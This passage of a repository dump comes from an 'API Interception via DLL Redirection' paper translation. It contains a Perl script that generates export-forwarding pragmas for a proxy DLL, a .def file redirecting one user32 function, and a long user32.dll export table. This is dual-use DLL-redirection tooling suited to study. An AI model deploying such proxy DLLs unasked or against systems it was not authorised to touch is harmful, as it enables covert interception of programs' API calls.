47 | 48 | open(FILI,"<$file_in"); #input file 49 | open(FILO,">$file_out"); #output file 50 | 51 | foreach $line (){ 52 | 53 | if($line =~ m/\S+/){ #ignore blank lines 54 | chomp($line); 55 | @strin = split(m/\s+/,$line); #read each column in the text file into an array 56 | if(@strin[3] eq "[NONAME]"){ #is this function exported by ordinal only? 57 | $ord = @strin[1]; 58 | printf FILO $prepend . "ord$ord=$dll.#$ord,\@$ord,NONAME\")\n"; 59 | } else { 60 | 61 | $ord = @strin[1]; 62 | $name = @strin[4]; 63 | if($name =~ m/^_/){ #when creating the exported functions, VC++ removes one underscore from the beginning of functions that start with an underscore; let's add an extra one to combat this 64 | 65 | $name_in = "_" . $name; 66 | } else { 67 | $name_in = $name; 68 | } 69 | if($name eq "(forwarded"){ #is the original function forwarded to another DLL? 70 | chop(@strin[6]); #remove the trailing parentheses 71 | print FILO "$prepend@strin[3]=@strin[6],\@$ord\")\n"; 72 | 73 | } else { 74 | 75 | print FILO "$prepend$name_in=$dll.$name,\@$ord\")\n"; 76 | } 77 | } 78 | } 79 | } 80 | 81 | close(FILI); 82 | close(FILO); 83 | 84 | print "\nLinkout has finished. Results have been saved to: $file_out\n"; 85 | 86 | exit; -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/stdafx.cpp -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/stdafx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/stdafx.h -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/targetver.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/targetver.h -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/user32.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r00tk1ts/exploit-database-papers-translation/23cf59719410008c5f611518c6593a1dd3196e26/API Interception via DLL Redirection/user32/user32/user32.cpp -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/user32.def: -------------------------------------------------------------------------------- 1 | LIBRARY user32.dll 2 | 3 | EXPORTS 4 | GetProcessDefaultLayout=myGetProcessDefaultLayout -------------------------------------------------------------------------------- /API Interception via DLL Redirection/user32/user32/user32.txt: -------------------------------------------------------------------------------- 1 | 1 0 00018673 ActivateKeyboardLayout 2 | 2 1 00021140 AdjustWindowRect 3 | 3 2 0001E7EA AdjustWindowRectEx 4 | 4 3 0005D4E0 AlignRects 5 | 5 4 00046414 AllowForegroundActivation 6 | 6 5 00011E40 AllowSetForegroundWindow 7 | 7 6 00012156 AnimateWindow 8 | 8 7 00059C27 AnyPopup 9 | 9 8 00021B0E AppendMenuA 10 | 10 9 000132BA AppendMenuW 11 | 11 A 00045F46 ArrangeIconicWindows 12 | 12 B 00021E52 AttachThreadInput 13 | 13 C 0001AFB9 BeginDeferWindowPos 14 | 14 D 00018FE9 BeginPaint 15 | 15 E 0005CA7E BlockInput 16 | 16 F 000203A8 BringWindowToTop 17 | 17 10 0005AEBE BroadcastSystemMessage 18 | 18 11 0005AEBE BroadcastSystemMessageA 19 | 19 12 0005AE97 BroadcastSystemMessageExA 20 | 20 13 00013654 BroadcastSystemMessageExW 21 | 21 14 0000E666 BroadcastSystemMessageW 22 | 22 15 00057DF6 BuildReasonArray 23 | 23 16 0001C5E4 CalcMenuBar 24 | 24 17 0005B216 CallMsgFilter 25 | 25 18 0005B216 CallMsgFilterA 26 | 26 19 0001750E CallMsgFilterW 27 | 27 1A 0001B3C6 CallNextHookEx 28 | 28 1B 0001A97D CallWindowProcA 29 | 29 1C 0001A01E CallWindowProcW 30 | 30 1D 00045F5E CascadeChildWindows 31 | 31 1E 00055039 CascadeWindows 32 | 32 1F 00020487 ChangeClipboardChain 33 | 33 20 0005B400 ChangeDisplaySettingsA 34 | 34 21 0001384E ChangeDisplaySettingsExA 35 | 35 22 000495BD ChangeDisplaySettingsExW 36 | 36 23 00049623 ChangeDisplaySettingsW 37 | 37 24 0003F298 ChangeMenuA 38 | 38 25 0005525E ChangeMenuW 39 | 39 26 00018717 CharLowerA 40 | 40 27 00018845 CharLowerBuffA 41 | 41 28 00009E57 CharLowerBuffW 42 | 42 29 0001B24C CharLowerW 43 | 43 2A 0001C8B0 CharNextA 44 | 44 2B 0005984E CharNextExA 45 | 45 2C 0001B1B0 CharNextW 46 | 46 2D 0001C8DA CharPrevA 47 | 47 2E 00059882 CharPrevExA 48 | 48 2F 0001D607 CharPrevW 49 | 49 30 0000AEF1 CharToOemA 50 | 50 31 00021626 CharToOemBuffA 51 | 51 32 00056E31 CharToOemBuffW 52 | 52 33 00013467 CharToOemW 53 | 53 34 00008D2B CharUpperA 54 | 54 35 0000AE3F CharUpperBuffA 55 | 55 36 00009216 CharUpperBuffW 56 | 56 37 000090D2 CharUpperW 57 | 57 38 00014DCA CheckDlgButton 58 | 58 39 00021ABD CheckMenuItem 59 | 59 3A 000553A2 CheckMenuRadioItem 60 | 60 3B 0004BDE1 CheckRadioButton 61 | 61 3C 0001201F ChildWindowFromPoint 62 | 62 3D 0001200B ChildWindowFromPointEx 63 | 63 3E 00043C33 CliImmSetHotKey 64 | 64 3F 0000A00A ClientThreadSetup 65 | 65 40 00019B60 ClientToScreen 66 | 66 41 0002FDC5 ClipCursor 67 | 67 42 00020265 CloseClipboard 68 | 68 43 0001812F CloseDesktop 69 | 69 44 00045F7F CloseWindow 70 | 70 45 00017D18 CloseWindowStation 71 | 71 46 00046C91 CopyAcceleratorTableA 72 | 72 47 0003FC5E CopyAcceleratorTableW 73 | 73 48 0000DE72 CopyIcon 74 | 74 49 0001DC14 CopyImage 75 | 75 4A 0001A042 CopyRect 76 | 76 4B 0002167F CountClipboardFormats 77 | 77 4C 00043497 CreateAcceleratorTableA 78 | 78 4D 0000D9BB CreateAcceleratorTableW 79 | 79 4E 0001A94E CreateCaret 80 | 80 4F 00047059 CreateCursor 81 | 81 50 00045E37 CreateDesktopA 82 | 82 51 0001162A CreateDesktopW 83 | 83 52 00029B28 CreateDialogIndirectParamA 84 | 84 53 0001680B CreateDialogIndirectParamAorW 85 | 85 54 0002F01F CreateDialogIndirectParamW 86 | 86 55 0002C7DB CreateDialogParamA 87 | 87 56 0000EA3B CreateDialogParamW 88 | 88 57 000470BC CreateIcon 89 | 89 58 00047134 CreateIconFromResource 90 | 90 59 0000D354 CreateIconFromResourceEx 91 | 91 5A 0000C86C CreateIconIndirect 92 | 92 5B 0003FDC0 CreateMDIWindowA 93 | 93 5C 0002F810 CreateMDIWindowW 94 | 94 5D 0001F306 CreateMenu 95 | 95 5E 0000F601 CreatePopupMenu 96 | 96 5F 000216E8 CreateSystemThreads 97 | 97 60 0001E4A9 CreateWindowExA 98 | 98 61 0001D0A3 CreateWindowExW 99 | 99 62 0004642E CreateWindowStationA 100 | 100 63 000113DD CreateWindowStationW 101 | 101 64 0001367B CsrBroadcastSystemMessageExW 102 | 102 65 0000E9E2 CtxInitUser32 103 | 103 66 0005AD84 DdeAbandonTransaction 104 | 104 67 00051309 DdeAccessData 105 | 105 68 000510D1 DdeAddData 106 | 106 69 0005A6A2 DdeClientTransaction 107 | 107 6A 00051D8D DdeCmpStringHandles 108 | 108 6B 000481C3 DdeConnect 109 | 109 6C 000484DE DdeConnectList 110 | 110 6D 00051769 DdeCreateDataHandle 111 | 111 6E 00051E43 DdeCreateStringHandleA 112 | 112 6F 00010447 DdeCreateStringHandleW 113 | 113 70 000483C4 DdeDisconnect 114 | 114 71 0004843B DdeDisconnectList 115 | 115 72 00045212 DdeEnableCallback 116 | 116 73 000518E2 DdeFreeDataHandle 117 | 117 74 00051F70 DdeFreeStringHandle 118 | 118 75 000511F1 DdeGetData 119 | 119 76 0004A853 DdeGetLastError 120 | 120 77 0005CAA6 DdeGetQualityOfService 121 | 121 78 0004A894 DdeImpersonateClient 122 | 122 79 0004A8F6 DdeInitializeA 123 | 123 7A 000106D7 DdeInitializeW 124 | 124 7B 0005200A DdeKeepStringHandle 125 | 125 7C 0001085E DdeNameService 126 | 126 7D 0005A3A5 DdePostAdvise 127 | 127 7E 0005ABA6 DdeQueryConvInfo 128 | 128 7F 000479AC DdeQueryNextServer 129 | 129 80 00052096 DdeQueryStringA 130 | 130 81 000520B3 DdeQueryStringW 131 | 131 82 0004826B DdeReconnect 132 | 132 83 0005CABA DdeSetQualityOfService 133 | 133 84 0005AD29 DdeSetUserHandle 134 | 134 85 0005137B DdeUnaccessData 135 | 135 86 0004A732 DdeUninitialize 136 | 136 87 0002E577 DefDlgProcA 137 | 137 88 00013D3A DefDlgProcW 138 | 138 89 0003F965 DefFrameProcA 139 | 139 8A 00020833 DefFrameProcW 140 | 140 8B 0003F9B4 DefMDIChildProcA 141 | 141 8C 00020A47 DefMDIChildProcW 142 | 142 8D 000468DD DefRawInputProc 143 | 143 8E 0001C17E DefWindowProcA 144 | 144 8F 00018D20 DefWindowProcW 145 | 145 90 0001AFDB DeferWindowPos 146 | 146 91 0001CED3 DeleteMenu 147 | 147 92 000302C0 DeregisterShellHookWindow 148 | 148 93 0002FE8D DestroyAcceleratorTable 149 | 149 94 00019C0E DestroyCaret 150 | 150 95 0001D312 DestroyCursor 151 | 151 96 0001D312 DestroyIcon 152 | 152 97 0001D39D DestroyMenu 153 | 153 98 00057ED8 DestroyReasons 154 | 154 99 0001B19C DestroyWindow 155 | 155 9A 0004A0F8 DeviceEventWorker 156 | 156 9B 00046D7D DialogBoxIndirectParamA 157 | 157 9C 000149D0 DialogBoxIndirectParamAorW 158 | 158 9D 00022072 DialogBoxIndirectParamW 159 | 159 9E 0002B144 DialogBoxParamA 160 | 160 9F 000147AB DialogBoxParamW 161 | 161 A0 00046421 DisableProcessWindowsGhosting 162 | 162 A1 000096B8 DispatchMessageA 163 | 163 A2 00008A01 DispatchMessageW 164 | 164 A3 00049F91 DisplayExitWindowsWarnings 165 | 165 A4 000538DF DlgDirListA 166 | 166 A5 00047599 DlgDirListComboBoxA 167 | 167 A6 00047626 DlgDirListComboBoxW 168 | 168 A7 0005396D DlgDirListW 169 | 169 A8 00047657 DlgDirSelectComboBoxExA 170 | 170 A9 00047543 DlgDirSelectComboBoxExW 171 | 171 AA 00053AFE DlgDirSelectExA 172 | 172 AB 00053B64 DlgDirSelectExW 173 | 173 AC 0005CACE DragDetect 174 | 174 AD 0005CAE2 DragObject 175 | 175 AE 0005CAF6 DrawAnimatedRects 176 | 176 AF 00056D9F DrawCaption 177 | 177 B0 0005B2D0 DrawCaptionTempA 178 | 178 B1 0003F339 DrawCaptionTempW 179 | 179 B2 0001FBF6 DrawEdge 180 | 180 B3 0001F94F DrawFocusRect 181 | 181 B4 000229C4 DrawFrame 182 | 182 B5 0002E940 DrawFrameControl 183 | 183 B6 0002D06C DrawIcon 184 | 184 B7 0001CB84 DrawIconEx 185 | 185 B8 0003F69C DrawMenuBar 186 | 186 B9 0005536D DrawMenuBarTemp 187 | 187 BA 0003F100 DrawStateA 188 | 188 BB 000145BB DrawStateW 189 | 189 BC 0002C702 DrawTextA 190 | 190 BD 0002C739 DrawTextExA 191 | 191 BE 0001B415 DrawTextExW 192 | 192 BF 0001D7E2 DrawTextW 193 | 193 C0 00023000 EditWndProc 194 | 194 C1 00020D96 EmptyClipboard 195 | 195 C2 0001D2C4 EnableMenuItem 196 | 196 C3 00058005 EnableScrollBar 197 | 197 C4 00019849 EnableWindow 198 | 198 C5 0001AF8D EndDeferWindowPos 199 | 199 C6 00014A4E EndDialog 200 | 200 C7 0005CB5A EndMenu 201 | 201 C8 00018FFD EndPaint 202 | 202 C9 0004A0A5 EndTask 203 | 203 CA 0005769F EnterReaderModeHelper 204 | 204 CB 0001B0F0 EnumChildWindows 205 | 205 CC 0002E53D EnumClipboardFormats 206 | 206 CD 0001851A EnumDesktopWindows 207 | 207 CE 0002234B EnumDesktopsA 208 | 208 CF 0001853B EnumDesktopsW 209 | 209 D0 00018A74 EnumDisplayDevicesA 210 | 210 D1 0000E03C EnumDisplayDevicesW 211 | 211 D2 0001A77B EnumDisplayMonitors 212 | 212 D3 00013A67 EnumDisplaySettingsA 213 | 213 D4 000138F3 EnumDisplaySettingsExA 214 | 214 D5 00013563 EnumDisplaySettingsExW 215 | 215 D6 0001362A EnumDisplaySettingsW 216 | 216 D7 000455D9 EnumPropsA 217 | 217 D8 00045613 EnumPropsExA 218 | 218 D9 00045631 EnumPropsExW 219 | 219 DA 000455F6 EnumPropsW 220 | 220 DB 0001F539 EnumThreadWindows 221 | 221 DC 0002232E EnumWindowStationsA 222 | 222 DD 0004564F EnumWindowStationsW 223 | 223 DE 0001A5AE EnumWindows 224 | 224 DF 00019E81 EqualRect 225 | 225 E0 00020251 ExcludeUpdateRgn 226 | 226 E1 0004A275 ExitWindowsEx 227 | 227 E2 00019C2F FillRect 228 | 228 E3 000182E1 FindWindowA 229 | 229 E4 0002214A FindWindowExA 230 | 230 E5 0000E0E3 FindWindowExW 231 | 231 E6 0001C9C3 FindWindowW 232 | 232 E7 00045FC4 FlashWindow 233 | 233 E8 0005CB80 FlashWindowEx 234 | 234 E9 0001F92A FrameRect 235 | 235 EA 0004BA77 FreeDDElParam 236 | 236 EB 0001C2E8 GetActiveWindow 237 | 237 EC 0005B3DC GetAltTabInfo 238 | 238 ED 0005B3DC GetAltTabInfoA 239 | 239 EE 00020D09 GetAltTabInfoW 240 | 240 EF 0001AF79 GetAncestor 241 | 242 F0 0001CDD4 GetAppCompatFlags 242 | 241 F1 00008ED6 GetAppCompatFlags2 243 | 243 F2 0001A78F GetAsyncKeyState 244 | 244 F3 000094DA GetCapture 245 | 245 F4 0001A928 GetCaretBlinkTime 246 | 246 F5 0001F6A1 GetCaretPos 247 | 247 F6 0002EBFF GetClassInfoA 248 | 248 F7 0000DD58 GetClassInfoExA 249 | 249 F8 0000DEBC GetClassInfoExW 250 | 250 F9 0001E81E GetClassInfoW 251 | 251 FA 0001F4F1 GetClassLongA 252 | 252 FB 00019AE9 GetClassLongW 253 | 253 FC 0001F45F GetClassNameA 254 | 254 FD 00019D12 GetClassNameW 255 | 255 FE 0004535C GetClassWord 256 | 256 FF 0001908E GetClientRect 257 | 257 100 0005CBA6 GetClipCursor 258 | 258 101 00020DBA GetClipboardData 259 | 259 102 00021290 GetClipboardFormatNameA 260 | 260 103 0004957F GetClipboardFormatNameW 261 | 261 104 00020DA8 GetClipboardOwner 262 | 262 105 0001F17A GetClipboardSequenceNumber 263 | 263 106 0005CB94 GetClipboardViewer 264 | 264 107 0005CBBA GetComboBoxInfo 265 | 265 108 0001A91B GetCursor 266 | 266 109 000147F8 GetCursorFrameInfo 267 | 267 10A 0005CBCE GetCursorInfo 268 | 268 10B 0001974E GetCursorPos 269 | 269 10C 000086C7 GetDC 270 | 270 10D 0001C595 GetDCEx 271 | 271 10E 0001D1D2 GetDesktopWindow 272 | 272 10F 00046003 GetDialogBaseUnits 273 | 273 110 0001AF1B GetDlgCtrlID 274 | 274 111 0001436E GetDlgItem 275 | 275 112 0004BC8B GetDlgItemInt 276 | 276 113 0005B05E GetDlgItemTextA 277 | 277 114 00014305 GetDlgItemTextW 278 | 278 115 0001D86B GetDoubleClickTime 279 | 279 116 000198C8 GetFocus 280 | 280 117 00019823 GetForegroundWindow 281 | 281 118 00017F28 GetGUIThreadInfo 282 | 282 119 0005CBE2 GetGuiResources 283 | 283 11A 0001D427 GetIconInfo 284 | 284 11B 00046022 GetInputDesktop 285 | 285 11C 0001F64E GetInputState 286 | 286 11D 0005CC0A GetInternalWindowPos 287 | 287 11E 000521A8 GetKBCodePage 288 | 288 11F 0003F6B4 GetKeyNameTextA 289 | 289 120 0004958F GetKeyNameTextW 290 | 290 121 00019ED9 GetKeyState 291 | 291 122 00019BF6 GetKeyboardLayout 292 | 292 123 00019C1B GetKeyboardLayoutList 293 | 293 124 00043631 GetKeyboardLayoutNameA 294 | 294 125 00021481 GetKeyboardLayoutNameW 295 | 295 126 0001D226 GetKeyboardState 296 | 296 127 000211DB GetKeyboardType 297 | 297 128 0002157A GetLastActivePopup 298 | 298 129 000094F4 GetLastInputInfo 299 | 299 12A 0005CFC6 GetLayeredWindowAttributes 300 | 300 12B 0005CC32 GetListBoxInfo 301 | 301 12C 000214BA GetMenu 302 | 302 12D 0005CC46 GetMenuBarInfo 303 | 303 12E 000402F9 GetMenuCheckMarkDimensions 304 | 304 12F 000552FF GetMenuContextHelpId 305 | 305 130 0000F667 GetMenuDefaultItem 306 | 306 131 00046725 GetMenuInfo 307 | 307 132 0001EF1C GetMenuItemCount 308 | 308 133 0003F1C8 GetMenuItemID 309 | 309 134 0001F0AD GetMenuItemInfoA 310 | 310 135 0000F72A GetMenuItemInfoW 311 | 311 136 0005CC6E GetMenuItemRect 312 | 312 137 0000F967 GetMenuState 313 | 313 138 0003F24E GetMenuStringA 314 | 314 139 000464E4 GetMenuStringW 315 | 315 13A 0001772B GetMessageA 316 | 316 13B 000468B8 GetMessageExtraInfo 317 | 317 13C 0001996C GetMessagePos 318 | 318 13D 00019DE0 GetMessageTime 319 | 319 13E 000091C6 GetMessageW 320 | 320 13F 0001A84A GetMonitorInfoA 321 | 321 140 0001A6D9 GetMonitorInfoW 322 | 322 141 0005CC82 GetMouseMovePointsEx 323 | 323 142 0004BF27 GetNextDlgGroupItem 324 | 324 143 000137C3 GetNextDlgTabItem 325 | 325 144 00021691 GetOpenClipboardWindow 326 | 326 145 0001910F GetParent 327 | 327 146 0005CC96 GetPriorityClipboardFormat 328 | 328 147 000463E4 GetProcessDefaultLayout 329 | 329 148 00009195 GetProcessWindowStation 330 | 330 149 0004612D GetProgmanWindow 331 | 331 14A 00020042 GetPropA 332 | 332 14B 000194B3 GetPropW 333 | 333 14C 0001AE46 GetQueueStatus 334 | 334 14D 00050DCD GetRawInputBuffer 335 | 335 14E 0005CCBE GetRawInputData 336 | 336 14F 0005AF0D GetRawInputDeviceInfoA 337 | 337 150 00046558 GetRawInputDeviceInfoW 338 | 338 151 0005CCE6 GetRawInputDeviceList 339 | 339 152 00057F24 GetReasonTitleFromReasonCode 340 | 340 153 0005CCFA GetRegisteredRawInputDevices 341 | 341 154 0001DFB4 GetScrollBarInfo 342 | 342 155 0001DFE2 GetScrollInfo 343 | 343 156 0001F704 GetScrollPos 344 | 344 157 0001F787 GetScrollRange 345 | 345 158 00009252 GetShellWindow 346 | 346 159 0001D896 GetSubMenu 347 | 347 15A 00008E78 GetSysColor 348 | 348 15B 00008EAB GetSysColorBrush 349 | 349 15C 0001B222 GetSystemMenu 350 | 350 15D 00008F9C GetSystemMetrics 351 | 351 15E 0004A6A1 GetTabbedTextExtentA 352 | 352 15F 0004A677 GetTabbedTextExtentW 353 | 353 160 0004370D GetTaskmanWindow 354 | 354 161 00009A51 GetThreadDesktop 355 | 355 162 0001C581 GetTitleBarInfo 356 | 356 163 0001F25B GetTopWindow 357 | 357 164 0001A8C9 GetUpdateRect 358 | 358 165 0001F5EC GetUpdateRgn 359 | 359 166 00021300 GetUserObjectInformationA 360 | 360 167 00008D17 GetUserObjectInformationW 361 | 361 168 00045B65 GetUserObjectSecurity 362 | 362 169 00045B9B GetWinStationInfo 363 | 363 16A 00019655 GetWindow 364 | 364 16B 00046180 GetWindowContextHelpId 365 | 365 16C 00009021 GetWindowDC 366 | 366 16D 0001C49C GetWindowInfo 367 | 367 16E 0000945D GetWindowLongA 368 | 368 16F 000088A6 GetWindowLongW 369 | 369 170 0005AEE4 GetWindowModuleFileName 370 | 370 171 0005AEE4 GetWindowModuleFileNameA 371 | 371 172 0004652F GetWindowModuleFileNameW 372 | 372 173 000203C7 GetWindowPlacement 373 | 373 174 000190B4 GetWindowRect 374 | 374 175 0000E443 GetWindowRgn 375 | 375 176 0001D007 GetWindowRgnBox 376 | 376 177 0002216B GetWindowTextA 377 | 377 178 0003F18B GetWindowTextLengthA 378 | 378 179 00017836 GetWindowTextLengthW 379 | 379 17A 0001A5CD GetWindowTextW 380 | 380 17B 00008A80 GetWindowThreadProcessId 381 | 381 17C 0002030C GetWindowWord 382 | 382 17D 00045B05 GrayStringA 383 | 383 17E 00045B35 GrayStringW 384 | 384 17F 0001B086 HideCaret 385 | 385 180 0005CD22 HiliteMenuItem 386 | 386 181 0005B4C0 IMPGetIMEA 387 | 387 182 0005B4AF IMPGetIMEW 388 | 388 183 0005B4E2 IMPQueryIMEA 389 | 389 184 0005B4D1 IMPQueryIMEW 390 | 390 185 0005B504 IMPSetIMEA 391 | 391 186 0005B4F3 IMPSetIMEW 392 | 392 187 0005CD36 ImpersonateDdeClientWindow 393 | 393 188 00017296 InSendMessage 394 | 394 189 0001AE83 InSendMessageEx 395 | 395 18A 000198D5 InflateRect 396 | 396 18B 00046646 InitializeLpkHooks 397 | 397 18C 00056FC7 InitializeWin32EntryTable 398 | 398 18D 0002ED26 InsertMenuA 399 | 399 18E 0003F710 InsertMenuItemA 400 | 400 18F 0000F5C8 InsertMenuItemW 401 | 401 190 0000F60E InsertMenuW 402 | 402 191 0001C5A9 InternalGetWindowText 403 | 403 192 00018F1F IntersectRect 404 | 404 193 00018FD5 InvalidateRect 405 | 405 194 0001CDFE InvalidateRgn 406 | 406 195 0003FC72 InvertRect 407 | 407 196 0002E5E6 IsCharAlphaA 408 | 408 197 0003F469 IsCharAlphaNumericA 409 | 409 198 00011AC2 IsCharAlphaNumericW 410 | 410 199 0001D683 IsCharAlphaW 411 | 411 19A 0002B889 IsCharLowerA 412 | 412 19B 0003F3B2 IsCharLowerW 413 | 413 19C 0002707E IsCharUpperA 414 | 414 19D 0005A1DF IsCharUpperW 415 | 415 19E 0000970E IsChild 416 | 416 19F 0001F166 IsClipboardFormatAvailable 417 | 417 1A0 0002C689 IsDialogMessage 418 | 418 1A1 0002C689 IsDialogMessageA 419 | 419 1A2 00017424 IsDialogMessageW 420 | 420 1A3 00014DFA IsDlgButtonChecked 421 | 421 1A4 0005A19F IsGUIThread 422 | 422 1A5 00059C61 IsHungAppWindow 423 | 423 1A6 000197FF IsIconic 424 | 424 1A7 00021368 IsMenu 425 | 425 1A8 000198FE IsRectEmpty 426 | 426 1A9 0001B0CF IsServerSideWindow 427 | 427 1AA 0000B1A5 IsWinEventHookInstalled 428 | 428 1AB 00019313 IsWindow 429 | 429 1AC 0001977A IsWindowEnabled 430 | 430 1AD 0001B126 IsWindowInDestroy 431 | 431 1AE 00019F72 IsWindowUnicode 432 | 432 1AF 00019E3D IsWindowVisible 433 | 433 1B0 00019C8A IsZoomed 434 | 434 1B1 000460CC KillSystemTimer 435 | 435 1B2 00008C42 KillTimer 436 | 436 1B3 00021553 LoadAcceleratorsA 437 | 437 1B4 0001EE76 LoadAcceleratorsW 438 | 438 1B5 0001473C LoadBitmapA 439 | 439 1B6 00010242 LoadBitmapW 440 | 440 1B7 0001D33E LoadCursorA 441 | 441 1B8 00043CCB LoadCursorFromFileA 442 | 442 1B9 00043CAC LoadCursorFromFileW 443 | 443 1BA 00009D69 LoadCursorW 444 | 444 1BB 0001E8F6 LoadIconA 445 | 445 1BC 0001E8BC LoadIconW 446 | 446 1BD 00017C08 LoadImageA 447 | 447 1BE 00017B97 LoadImageW 448 | 448 1BF 00046262 LoadKeyboardLayoutA 449 | 449 1C0 0004623A LoadKeyboardLayoutEx 450 | 450 1C1 00021464 LoadKeyboardLayoutW 451 | 451 1C2 0000EDD8 LoadLocalFonts 452 | 452 1C3 0003FA83 LoadMenuA 453 | 453 1C4 0001EBBF LoadMenuIndirectA 454 | 454 1C5 0001EBBF LoadMenuIndirectW 455 | 455 1C6 0001EB48 LoadMenuW 456 | 456 1C7 0000ECB7 LoadRemoteFonts 457 | 457 1C8 0001C908 LoadStringA 458 | 458 1C9 00009E36 LoadStringW 459 | 459 1CA 0000DE5A LockSetForegroundWindow 460 | 460 1CB 0000F3C4 LockWindowStation 461 | 461 1CC 00029636 LockWindowUpdate 462 | 462 1CD 0005CD5E LockWorkStation 463 | 463 1CE 00047116 LookupIconIdFromDirectory 464 | 464 1CF 0000C4DA LookupIconIdFromDirectoryEx 465 | 465 1D0 0000ADAD MBToWCSEx 466 | 466 1D1 00055D55 MB_GetString 467 | 467 1D2 0004BE4C MapDialogRect 468 | 468 1D3 0001FEEA MapVirtualKeyA 469 | 469 1D4 0005B097 MapVirtualKeyExA 470 | 470 1D5 0004959F MapVirtualKeyExW 471 | 471 1D6 0004029E MapVirtualKeyW 472 | 472 1D7 00019507 MapWindowPoints 473 | 473 1D8 0005CD70 MenuItemFromPoint 474 | 474 1D9 00046873 MenuWindowProcA 475 | 475 1DA 0004682E MenuWindowProcW 476 | 476 1DB 00021F7B MessageBeep 477 | 477 1DC 000407EA MessageBoxA 478 | 478 1DD 0004085C MessageBoxExA 479 | 479 1DE 00040838 MessageBoxExW 480 | 480 1DF 0002A082 MessageBoxIndirectA 481 | 481 1E0 000564D5 MessageBoxIndirectW 482 | 482 1E1 00056406 MessageBoxTimeoutA 483 | 483 1E2 00056383 MessageBoxTimeoutW 484 | 484 1E3 00056534 MessageBoxW 485 | 485 1E4 0003F20B ModifyMenuA 486 | 486 1E5 0000F51F ModifyMenuW 487 | 487 1E6 0001ABF5 MonitorFromPoint 488 | 488 1E7 0001C713 MonitorFromRect 489 | 489 1E8 0001A679 MonitorFromWindow 490 | 490 1E9 0001B29E MoveWindow 491 | 491 1EA 00009689 MsgWaitForMultipleObjects 492 | 492 1EB 00009645 MsgWaitForMultipleObjectsEx 493 | 493 1EC 000199CB NotifyWinEvent 494 | 494 1ED 0004023C OemKeyScan 495 | 495 1EE 000200D7 OemToCharA 496 | 496 1EF 00020116 OemToCharBuffA 497 | 497 1F0 000402BB OemToCharBuffW 498 | 498 1F1 00056E76 OemToCharW 499 | 499 1F2 00019011 OffsetRect 500 | 500 1F3 00020277 OpenClipboard 501 | 501 1F4 00022369 OpenDesktopA 502 | 502 1F5 00018559 OpenDesktopW 503 | 503 1F6 000460E7 OpenIcon 504 | 504 1F7 0000ECA3 OpenInputDesktop 505 | 505 1F8 000221E1 OpenWindowStationA 506 | 506 1F9 00045E0B OpenWindowStationW 507 | 507 1FA 0004B961 PackDDElParam 508 | 508 1FB 0001864B PaintDesktop 509 | 509 1FC 0002151E PaintMenuBar 510 | 510 1FD 0001A340 PeekMessageA 511 | 511 1FE 0000929B PeekMessageW 512 | 512 1FF 0001AAFD PostMessageA 513 | 513 200 00008CCB PostMessageW 514 | 514 201 0001CA5A PostQuitMessage 515 | 515 202 000177C5 PostThreadMessageA 516 | 516 203 000177B8 PostThreadMessageW 517 | 517 204 00013810 PrintWindow 518 | 518 205 00050A09 PrivateExtractIconExA 519 | 519 206 0000D3C3 PrivateExtractIconExW 520 | 520 207 000509AF PrivateExtractIconsA 521 | 521 208 0000CCFC PrivateExtractIconsW 522 | 522 209 0005CE72 PrivateSetDbgTag 523 | 523 20A 0005CEFE PrivateSetRipFlags 524 | 524 20B 00019719 PtInRect 525 | 525 20C 0005CDBE QuerySendMessage 526 | 526 20D 0005CDD2 QueryUserCounters 527 | 527 20E 0005CDE6 RealChildWindowFromPoint 528 | 528 20F 0005B36B RealGetWindowClass 529 | 529 210 0005B36B RealGetWindowClassA 530 | 530 211 000495F6 RealGetWindowClassW 531 | 531 212 00057716 ReasonCodeNeedsBugID 532 | 532 213 000576FF ReasonCodeNeedsComment 533 | 533 214 000496FD RecordShutdownReason 534 | 534 215 00019944 RedrawWindow 535 | 535 216 0001EA5E RegisterClassA 536 | 536 217 00017C39 RegisterClassExA 537 | 537 218 0000AF7F RegisterClassExW 538 | 538 219 0000A39A RegisterClassW 539 | 539 21A 00008E28 RegisterClipboardFormatA 540 | 540 21B 0000AF34 RegisterClipboardFormatW 541 | 541 21C 00011B3B RegisterDeviceNotificationA 542 | 542 21D 0000E8B9 RegisterDeviceNotificationW 543 | 543 21E 0000EBB3 RegisterHotKey 544 | 544 21F 00012B73 RegisterLogonProcess 545 | 545 220 00011EFC RegisterMessagePumpHook 546 | 546 221 0005CE0E RegisterRawInputDevices 547 | 547 222 00011FAE RegisterServicesProcess 548 | 548 223 0000E104 RegisterShellHookWindow 549 | 549 224 00046198 RegisterSystemThread 550 | 550 225 0005CE22 RegisterTasklist 551 | 551 226 00011CFF RegisterUserApiHook 552 | 552 227 00008E28 RegisterWindowMessageA 553 | 553 228 0000AF34 RegisterWindowMessageW 554 | 554 229 0001C37A ReleaseCapture 555 | 555 22A 0000869D ReleaseDC 556 | 556 22B 0000F716 RemoveMenu 557 | 557 22C 00020094 RemovePropA 558 | 558 22D 0001C076 RemovePropW 559 | 559 22E 000186F8 ReplyMessage 560 | 560 22F 0005CE36 ResolveDesktopForWOW 561 | 561 230 0004BADB ReuseDDElParam 562 | 562 231 000197A0 ScreenToClient 563 | 563 232 00054DFC ScrollChildren 564 | 564 233 0000B1DD ScrollDC 565 | 565 234 0001FF39 ScrollWindow 566 | 566 235 00020187 ScrollWindowEx 567 | 567 236 0002C2E7 SendDlgItemMessageA 568 | 568 237 000173CC SendDlgItemMessageW 569 | 569 238 0005B49E SendIMEMessageExA 570 | 570 239 0005B48D SendIMEMessageExW 571 | 571 23A 0001F140 SendInput 572 | 572 23B 0001F3C2 SendMessageA 573 | 573 23C 0005B129 SendMessageCallbackA 574 | 574 23D 0001D6DB SendMessageCallbackW 575 | 575 23E 0001FB6B SendMessageTimeoutA 576 | 576 23F 0001CDAA 